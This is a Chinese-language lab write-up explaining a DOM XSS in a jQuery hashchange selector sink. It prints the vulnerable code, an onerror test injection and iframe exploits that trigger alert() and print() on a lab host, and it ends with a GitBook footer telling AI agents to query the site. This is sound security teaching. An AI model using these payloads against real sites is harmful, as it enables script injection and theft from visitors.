> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-jquery-hashchange-event.md).

# 带有 jQuery 和 hashchange 的 DOM XSS

### 使用 hashchange 事件的 jQuery 选择器 sink 中的 DOM XSS

此实验室的主页存在一个客户端 XSS 漏洞。代码使用了 `$()` jQuery 的 selector 函数来自动定位一篇标题通过以下方式传递的文章： `location.hash`. 本实验的目标是获取一个利用代码，当访客打开它时，会调用 `print()` 在其浏览器中。

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* 该函数获取 URL 片段（`window.location.hash`），去除 `#` 替换为 `slice(1)` 并使用以下函数对其进行解码： `decodeURIComponent`.
* 然后将这段文本直接拼接到 jQuery 的 `:contains(...)` 选择器中。由于没有转义，特意构造的内容可以破坏语法，并通过诸如以下向量注入 HTML/JS： `onerror` 属性。
* 代码仅在哈希发生变化时触发该操作（`hashchange`），因此，一个不带哈希的简单初始链接不会触发任何内容，直到客户端一侧更改片段为止。

<figure><img src="/files/c250f28dda45271beccb2526ff1b8abc052b76e1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ab198345e6a7fade313c77fb64de59f596571491" alt=""><figcaption></figcaption></figure>

* 我们利用了以下事实：对 `#` 会触发该事件。因此，利用代码必须强制受害者的浏览器加载一个包含有效载荷片段的 URL。
* 一种常见的方法是使用一个 `<iframe>` 指向目标页面的，然后在 `onload`期间，动态修改其 `src` 以添加恶意片段（这将导致 `hashchange` 以及易受攻击的选择器执行）。
* 注入的有效载荷必须导致 `print()` 在受害者的上下文中执行。

引发图片错误的基本注入（测试）：

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/7651da117eaa18fe9b432136c0a02865846b70f4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b59cf0c98262957a8dd6386df96d4f5e4a97c7bb" alt=""><figcaption></figcaption></figure>

* 通过 iframe 的利用代码——第一版（alert）：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* 最终利用代码： `print()` （改编版）：

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/4ba168d05a50df853e5e79639b3f03d7c154b636" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
